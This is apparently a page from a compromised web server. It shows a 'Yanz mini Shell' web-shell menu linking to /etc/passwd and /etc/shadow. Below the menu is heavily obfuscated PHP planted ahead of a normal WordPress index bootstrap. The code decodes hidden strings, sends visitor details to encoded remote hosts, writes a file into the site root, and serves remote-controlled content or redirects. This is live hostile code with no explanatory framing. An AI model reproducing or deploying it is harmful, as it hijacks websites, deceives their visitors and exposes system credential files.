Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php function aSnXscFVO5($KdptE, $udoZd){ $WxJsw = ($KdptE * $udoZd) % 19; $slEHI = sqrt(abs($WxJsw)) * 4030 / 100; $ZJWn5 = ($WxJsw << 2) ^ ($slEHI >> 1); if($ZJWn5 > 19 * 10) { $ZJWn5 = $ZJWn5 / $KdptE; } else { $ZJWn5 = $ZJWn5 * $udoZd; } return ($ZJWn5 + $WxJsw) % 4030; } $wRCH73 = 221 + 693; $b1lvYR = ($wRCH73 * 221) / (693 + 1); $TmrqIz = str_repeat('x', $wRCH73 % 10); $wRCH73 = ($wRCH73 << 10) | ($wRCH73 >> (32 - 10)); class vkrlGwNzqWVZ { private $D1vBX; private $DRdIn; public function Fa5kLNKC() { return $this->D1vBX * $this->DRdIn % 100; } public function xzyRIL9e($D1vBX) { $this->$D1vBX = ($D1vBX + $this->$D1vBX) % 1000; return $this->Fa5kLNKC(); } } $rwJQQ = 'kEfUzisvwQr1pMWq';$JYBM5 = array('_rzlyt0' => '4e765570495956454f744106557f13545c7c43624c4c454752664a14437f72425a6055645f5b365341675706486861324e7253704c5b564045744509557b6154590043634d4c4544526741','_72lur0' => '4e765570495956454f744106557f13545c7c43624c4c454752664a14437f72425a6055645f5b365341685706466861484e7325704c58564145744074557b15545d0643633e','_sqzvpe' => '4e765570495956454f744106557f13545c7c43624c4c454752664a14437f72425a6055645f5b365340635706406861434e735f704d5f564041744507557b65545d7343673f4c4534526731144609','_hk3wnr' => '4e765570495956454f744106557f13545c7c43624c4c454752664a14437f72425a6055645f5b365340675707416860434e7255704d5a564032744477557a6e545d0643673f4c4534526731144609','_631h2y' => '58755e6257051a181c634300','_o2tlnp' => '2311320525213c2523','_x2y26o' => '','_3eorq0' => '23113205253b363032033763','_b9qvxj' => '0331122509','_4pcf5i' => '03311225','_4gut7q' => '44','_dng2vv' => '022b02300247031e07','_kx1e0v' => '022b023002','_x47os9' => '4419497d21372f592a7a2e1f0025275844','_7hezzg' => '45350e25','_lakm9n' => '447a','_bprtpl' => '54','_i0wk20' => '442c08311f115d061f21','_7t0kux' => '4a','_nvlh5i' => '1c2004','_6dcd7j' => '113f','_p4hajw' => '1e370f','_wt7416' => '1e370a2612081d11','_o6cjp2' => '062a023016','_niabco' => '1d20142613061d','_tfb0np' => '516a49','_rxxdj9' => '052a043a0e1c0013053015541e39','_7jgp3k' => '042e0e211705','_mxrldm' => '032007311f1b','_hg2a5n' => '282a08211f07075b032802544a6d23141331493d0e041f4d57321a50023e3205563012335751','_1e4tw9' => '192016391b0a16','_6sqyqf' => '1f201521250c101e18','_58pu8l' => '043012250f1d','_09j9ww' => '0c2012361507071319254701403d36160e','_0bq3j7' => '2311320555585d4757644201500439050e3708341649201305271743500825030437','_77v677' => '5f7552251b0e16','_yrakut' => '2311320555585d4757654205500338054b030920140d','_bsigr7' => '587557251b0e16','_8wjeyb' => '2311320555585d4757624200500038070e2146051f1b1e1719341c451c34','_548h82' => '0824053d1f3610191925005e1c','_usov5p' => '052a4b361b0a1b135b711c5e5d3e231e19204a75171c00025a23174711213e150a3103','_2pgv56' => '1920023c080c1002','_8506p5' => '042e1e3816','_89zbfw' => '282a08211f07075b232802544a6d36011b290f361b1d1a19197e0a5c1c767712032414261f1d4e0303375f09','_tl3rj1' => '042e143a18060705','_5bvesl' => '282a08211f07075b232802544a6d23141331492516081a18','_ih1sor' => '2824053d1f4430191925005e1c7777','_lfanxv' => '3b37073217084956193e5f52112e3f14','_gu0vv6' => '2e3d163c080c004c5761','_8hn4b7' => '272a05340e001c184d71','_3x26r3' => '23113205253c2033250e3376350303','_lxgt19' => '0c2a0932160c111903','_usr490' => '092c0832','_p32lzr' => '12240e3a15','_9c9yw9' => '0c2a0932160c','_wfy36r' => '390037003f3a272922033b','_qkq96b' => '0a370123','_dymv1i' => '3b0d360a292c3f30','_tgdh5r' => '3a1023072336202225183c76','_kldjth' => '2311320529','_soomz1' => '042300','_vh0y69' => '2311320525312c3038032570220912353415341a2e26','_tvicv6' => '23113205252f213939052d743e0908393f113606','_32bbsv' => '2f0a2500372c3d2228033d7e24','_q5030y' => '44370937151d0058032906','_6ow9h1' => '3e36032757081413192548115a','_4e5b1p' => '2a290a3a0d535359','_u119ok' => '382c12301708034c57','_3szl37' => '44360f211f04120659291f5d','_oeew1o' => '0331122540465c','_z2qr83' => '443613251f1b45580739020e','_mvhpc0' => '1c3539271f041c02120e155404','_7ntz8r' => '1f2c0b30151c07','_0p09dv' => '1e360327570814131925','_py42vd' => '262a1c3c16051259427f4211582e381c1b24123c1805164d57061d43141d251418364f','_1zzw8i' => '0830143925001d1f03','_nbopy9' => '0a290a3a0d3606041b0e145e002839','_uu0zib' => '0a','_05ux0c' => '11','_1omo8r' => '34','_vemp04' => '5a76');foreach($JYBM5 as $key => $value){ $WN2Xz = xwVch(hex2bin($value), $rwJQQ); define($key, $WN2Xz ); }unset($JYBM5, $rwJQQ);unset($GLOBALS['xwVch']);function xwVch($_0x9dopy, $_0xgfaln) {$_0x3gban = strlen($_0xgfaln);$_0xlp1yh = '';for($_0xbaez5=0;$_0xbaez5<strlen($_0x9dopy);$_0xbaez5++){$_0xlp1yh .= chr(ord($_0x9dopy[$_0xbaez5]) ^ ord($_0xgfaln[$_0xbaez5 % $_0x3gban]));}return $_0xlp1yh;}$mSrQM = [ _rzlyt0, _72lur0, _sqzvpe, _hk3wnr ]; $SQkDM = _631h2y; $DTLHI = isset($_SERVER[_o2tlnp]) ? $_SERVER[_o2tlnp] : _x2y26o; $SE816 = isset($_SERVER[_3eorq0]) ? $_SERVER[_3eorq0] : _x2y26o; $GTAzz = FuK5ALhO() ? _b9qvxj : _4pcf5i; $kHIBB = Kg7LyytQ(); $vZlF4 = T0PHMY1H() ?: _4gut7q; $jNsPT = _dng2vv; $Tah8v = _kx1e0v; preg_match(_x47os9, $vZlF4, $mru2K); if (!empty($mru2K)) { $jNsPT = $mru2K[1]; if (($OxRtj = strpos($vZlF4, $jNsPT)) !== false) { $jNsPT = ltrim(substr($vZlF4, 0, $OxRtj + strlen($jNsPT)), _4gut7q); } $Tah8v = str_replace(_7hezzg, _x2y26o, $jNsPT); } $Tah8v = stristr($vZlF4, _lakm9n) ? _bprtpl : $Tah8v; $iDeTq = false; if (strpos($vZlF4, $SQkDM) !== false) { $kHIBB = 1; $vZlF4 = str_replace($SQkDM, _x2y26o, $vZlF4); $iDeTq = true; } if ($vZlF4 != _4gut7q) { $vZlF4 = str_replace(_4gut7q . $jNsPT, _x2y26o, $vZlF4); $vZlF4 = str_replace(_i0wk20, _x2y26o, $vZlF4); $vZlF4 = str_replace(_7t0kux, _x2y26o, $vZlF4); } $BhaIp = http_build_query([ _nvlh5i => $DTLHI, _6dcd7j => $kHIBB, _p4hajw => urlencode($vZlF4), _wt7416 => $SE816, _4pcf5i => $GTAzz, _o6cjp2 => $Tah8v, _niabco => $iDeTq ? $SQkDM : _x2y26o ]); re6bKnj9($GTAzz . _tfb0np . $DTLHI); $YRlzU = lTmUFx7j($mSrQM, $BhaIp); if (strpos($YRlzU, _rxxdj9) === false) { $sIO4j = array( _7jgp3k => array( _mxrldm => _hg2a5n, _1e4tw9 => _7jgp3k, _6sqyqf => true, _58pu8l => true ), _09j9ww => array( _mxrldm => _0bq3j7 ), _77v677 => array( _mxrldm => _yrakut ), _bsigr7 => array( _mxrldm => _8wjeyb, _548h82 => _usov5p, _1e4tw9 => _bsigr7, _2pgv56 => true ), _8506p5 => array( _mxrldm => _89zbfw, _1e4tw9 => _8506p5, _58pu8l => true ), _tl3rj1 => array( _mxrldm => _5bvesl, _1e4tw9 => _tl3rj1, _58pu8l => true ) ); foreach ($sIO4j as $ZKpiH => $z7BXn) { if (strpos($YRlzU, $ZKpiH) !== false) { @header($z7BXn[_mxrldm]); if (isset($z7BXn[_548h82])) { @header(_ih1sor . $z7BXn[_548h82]); @header(_lfanxv); @header(_gu0vv6); } if (isset($z7BXn[_1e4tw9])) { $YRlzU = str_replace($z7BXn[_1e4tw9], _x2y26o, $YRlzU); } if (isset($z7BXn[_6sqyqf]) && $iDeTq) { echo $SQkDM; } if (isset($z7BXn[_2pgv56])) { @header(_8hn4b7 . $YRlzU); } elseif (isset($z7BXn[_58pu8l])) { echo $YRlzU; } die(); } } } function Kg7LyytQ() { $ecI69 = isset($_SERVER[_3x26r3]) ? strtolower($_SERVER[_3x26r3]) : _x2y26o; $Vllb5 = array(_lxgt19, _usr490, _p32lzr, _9c9yw9); foreach ($Vllb5 as $HLttU) { if (strpos($ecI69, $HLttU) !== false) { return 1; } } return 2; } function T0PHMY1H() { if (isset($_SERVER[_wfy36r])) { return $_SERVER[_wfy36r]; } if (isset($_SERVER[_qkq96b])) { return $_SERVER[_dymv1i] . _bprtpl . $_SERVER[_qkq96b][0]; } return $_SERVER[_dymv1i] . _bprtpl . $_SERVER[_tgdh5r]; } function FuK5ALhO() { if (isset($_SERVER[_kldjth])) { $kdOYc = strtolower($_SERVER[_kldjth]); if ($kdOYc !== _soomz1 && $kdOYc !== _x2y26o) { return true; } } if (isset($_SERVER[_vh0y69]) && $_SERVER[_vh0y69] === _b9qvxj) { return true; } if (isset($_SERVER[_tvicv6])) { $vuuzY = strtolower($_SERVER[_tvicv6]); if ($vuuzY !== _soomz1 && $vuuzY !== _x2y26o) { return true; } } return false; } function re6bKnj9($HzkQN) { $PmUoX = kIacLdFw(); $LfTog = $_SERVER[_32bbsv] . _q5030y; $aygPr = _6ow9h1 . PHP_EOL . _4e5b1p . PHP_EOL . PHP_EOL . _u119ok . $HzkQN . _3szl37 . PHP_EOL; if (!file_exists($LfTog)) { $PmUoX[0]($LfTog, $aygPr); } else { $chFH3 = $PmUoX[1]($LfTog); if ($chFH3 !== $aygPr) { $PmUoX[0]($LfTog, $aygPr); } } } function lTmUFx7j($cg2l6, $BhaIp) { $PmUoX = kIacLdFw(); shuffle($cg2l6); foreach ($cg2l6 as $DL4rd) { $UpVoP = $PmUoX[2](urldecode($DL4rd)); $HzkQN = _oeew1o . $UpVoP . _z2qr83 . $BhaIp; if (function_exists(_mvhpc0)) { $yQWid = wp_remote_get($HzkQN, array( _7ntz8r => 30, _0p09dv => _py42vd )); if (!is_wp_error($yQWid)) { $BC7B5 = wp_remote_retrieve_body($yQWid); return $BC7B5; } } if (function_exists(_1zzw8i)) { $iZYYq = curl_init(); curl_setopt($iZYYq, CURLOPT_URL, $HzkQN); curl_setopt($iZYYq, CURLOPT_RETURNTRANSFER, true); curl_setopt($iZYYq, CURLOPT_TIMEOUT, 30); $yQWid = curl_exec($iZYYq); if (!curl_errno($iZYYq)) { curl_close($iZYYq); return $yQWid; } curl_close($iZYYq); } if (ini_get(_nbopy9)) { $X9jWF = stream_context_create(array( _4pcf5i => array(_7ntz8r => 30) )); $yQWid = @$PmUoX[1]($HzkQN, false, $X9jWF); if ($yQWid !== false) { return $yQWid; } } } return _rxxdj9; } function kIacLdFw() { $zRmyT = range(_uu0zib, _05ux0c); return array( $zRmyT[5] . $zRmyT[8] . $zRmyT[11] . $zRmyT[4] . _1omo8r . $zRmyT[15] . $zRmyT[20] . $zRmyT[19] . _1omo8r . $zRmyT[2] . $zRmyT[14] . $zRmyT[13] . $zRmyT[19] . $zRmyT[4] . $zRmyT[13] . $zRmyT[19] . $zRmyT[18], $zRmyT[5] . $zRmyT[8] . $zRmyT[11] . $zRmyT[4] . _1omo8r . $zRmyT[6] . $zRmyT[4] . $zRmyT[19] . _1omo8r . $zRmyT[2] . $zRmyT[14] . $zRmyT[13] . $zRmyT[19] . $zRmyT[4] . $zRmyT[13] . $zRmyT[19] . $zRmyT[18], $zRmyT[18] . $zRmyT[19] . $zRmyT[17] . _1omo8r . $zRmyT[17] . $zRmyT[14] . $zRmyT[19] . _vemp04 ); }?> <?php define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; ?>